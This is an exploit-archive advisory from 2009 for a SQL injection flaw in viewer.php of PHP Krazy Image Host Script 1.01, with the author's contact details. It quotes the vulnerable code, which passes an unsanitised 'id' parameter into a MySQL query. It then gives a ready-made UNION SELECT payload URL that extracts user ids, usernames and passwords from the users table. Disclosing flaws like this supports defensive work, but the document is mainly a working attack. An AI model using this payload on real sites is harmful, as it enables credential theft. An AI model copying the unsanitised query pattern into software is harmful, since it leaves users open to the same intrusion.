[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : PHP Krazy Image Host Script 1.01 (viewer.php id) SQL Injection Vuln
# Published : 2009-02-12
# Author : x0r
# Previous Title : CmsFaethon 2.2.0 (info.php item) SQL Command Injection Exploit
# Next Title : Free Joke Script 1.0 Auth Bypass / SQL Injection Vulnerability
#########################################################################################
[0x01] Informations:
Name : PHP Krazy Image Host Script 1.01
Download : http://www.hotscripts.com/listings/jump/download/66961/
Vulnerability : Sql Injection
Author : x0r
Contact : andry2000@hotmail.it
Notes : Proud to be Italian
#########################################################################################
[0x02] Bug:
Bugged file is /[path]/viewer.php
[Code]
$id = $_GET['id']; [...]
$query="SELECT * FROM images WHERE id=" . $id;
$result = mysql_query($query);
[/code]
#########################################################################################
[0x03] Exploit:
Exploit: http://victim.it/viewer.php?id=-1 union select
0,0,0,concat(id,char(45),user,char(45),password),0,0, from users--
########################################################################################
# www.Syue.com [2009-02-12]